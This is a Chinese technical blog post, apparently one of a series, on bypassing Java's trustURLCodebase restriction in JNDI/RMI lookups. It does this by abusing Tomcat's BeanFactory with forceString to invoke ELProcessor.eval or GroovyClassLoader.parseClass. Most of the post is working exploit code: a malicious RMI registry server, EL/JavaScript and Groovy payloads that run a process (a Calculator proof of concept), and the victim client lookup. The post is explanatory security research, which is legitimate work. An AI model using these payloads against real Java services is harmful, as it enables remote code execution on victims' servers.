上一篇博文介绍了RMI绑定一个Reference,导致加载远程class文件时导致的注入问题,当时有提到对于高级的版本,对于默认的配置为java.rmi.server.useCodebaseOnly=false
,对于远程的class文件做了安全校验的,但是即便如此,也并没能完全限制住注入
接下来我们来实例演示一下
1. 注入思路
按照之前的case,RMI服务端提供的是一个远程的class文件,在客户端访问之后,去加载远程Class并实例化,从而导致静态代码块的执行,就带来了注入问题;现在因为useCodebaseOnly=false
,不支持加载远程class文件,那应该怎么处理呢?
接下来的思路就是既然远程的class不让加载,那么就加载客户端本身的class类,然后通过覆盖其某些方法来实现;
从客户端访问的姿势进行debug,我们可以找到关键的代码节点
- com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)
- com.sun.jndi.rmi.registry.RegistryContext#decodeObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| private Object decodeObject(Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; Reference var8 = null; if (var3 instanceof Reference) { var8 = (Reference)var3; } else if (var3 instanceof Referenceable) { var8 = ((Referenceable)((Referenceable)var3)).getReference(); }
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); } else { return NamingManager.getObjectInstance(var3, var2, this, this.environment); } } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
|
上面这个方法,就是加载class文件并实例化的核心代码,重点关注下面两段
1 2 3 4 5 6
| if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); } else { return NamingManager.getObjectInstance(var3, var2, this, this.environment); }
|
从上面的逻辑可以看到,为了不抛出异常,Reference中的factoryClassLocation设置为空;这样就可以继续走下面的NamingManager.getObjectInstance
流程;最终核心点在下面的实例创建中,获取Factory,创建实例
- javax.naming.spi.NamingManager#createObjectFromFactories
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| private static Object createObjectFromFactories(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { FactoryEnumeration factories = ResourceManager.getFactories( Context.OBJECT_FACTORIES, environment, nameCtx);
if (factories == null) return null;
ObjectFactory factory; Object answer = null; while (answer == null && factories.hasMore()) { factory = (ObjectFactory)factories.next(); answer = factory.getObjectInstance(obj, name, nameCtx, environment); } return answer; }
|
从上面的核心实现上,可以看到两个关键信息:
javax.naming.spi.ObjectFactory
: 对象工厂类,在客户端找一个这样的工厂类出来,用来创建入侵对象
factory.getObjectInstance
: 实例化时,注入我们希望执行的代码
2. 注入服务端
首先需要找一个ObjectFactory,我们这里选中的目标是tomcat中的org.apache.naming.factory.BeanFactory
接下来看一下它的getObjectInstance
实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { if (obj instanceof ResourceRef) { try {
Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null; RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap<>(); String value;
if (ra != null) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index;
for (String param: value.split(",")) { try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { } } }
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) { Method method = forced.get(propName); try { method.invoke(bean, valueArray); } catch (IllegalAccessException| } continue; }
|
上面减去了一些不重要的代码,重点可以看到下面这个逻辑
- 找到一个jvm中存在的类beanClass
- 对于
key = forceString
的RefAddr,会做一个特殊处理
- value形如
argVal = rename
- 基于上面的形式,会从beanClass中找到一个名为
methodName = rename
,参数有一个,且为String
的方法
- 在对象实例化时,会调用上面的方法,其中具体的参数值,从
RefAddr
中查找key = argVal
的取值
举一个实例如下
1 2 3
| ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
|
上面三行,最终直接的结果就是在创建实例对象时,有下面三步
即在实例化时,相当于执行下面这个方法
1
| ElProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")
|
因此我们最终的服务端代码可以如下
1 2 3 4 5 6
| LocateRegistry.createRegistry(8181); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); Naming.bind("rmi://127.0.0.1:8181/inject", referenceWrapper);
|
注意,服务端也需要依赖tomcat,对于SpringBoot项目,可以引入下面这个依赖
1 2 3 4
| <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> </dependency>
|
3.实例演示
客户端访问姿势与之前没有什么区别,我们这里基于SpringBoot起一个,主要是方便tomcat服务器的指定
1 2 3 4 5 6 7 8
| <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> </dependency>
|
客户端代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static void injectTest() throws Exception { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8181"); InitialContext context = new InitialContext(env); Object obj = context.lookup("rmi://127.0.0.1:8181/inject"); System.out.println(obj); }
public static void main(String[] args) throws Exception { injectTest(); }
|
4.小结
本文通过实例演示介绍了如何绕过trustURLCodebase=false
的场景,从客户端执行逻辑出发,主要思路就是既然远程的class不可性,那就从目标服务器中去找一个满足条件的class,来执行注入代码
要满足我们注入条件的class,需要有下面这个关键要素
javax.naming.spi.ObjectFactory
的子类
getObjectInstance
实现类中存在执行目标代码的场景
此外就是借助脚本引擎来动态执行代码,本文是借助js,当然也可以考虑Groovy,如下
1 2 3 4 5 6 7 8
| ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"/Applications/Calculator.app/Contents/MacOS/Calculator\")\n" + "})\n" + "def x\n"; ref.add(new StringRefAddr("x",script));
|
看到这里其实就会有个疑问点,常见的注入代码执行有哪些case呢?除了上面的脚本执行,还有别的么?且看下文
相关博文
本文主要思路来自于,欢迎有兴趣的小伙伴查看原文 * Exploiting JNDI Injections in Java | Veracode blog
一灰灰的联系方式
尽信书则不如无书,以上内容,纯属一家之言,因个人能力有限,难免有疏漏和错误之处,如发现bug或者有更好的建议,欢迎批评指正,不吝感激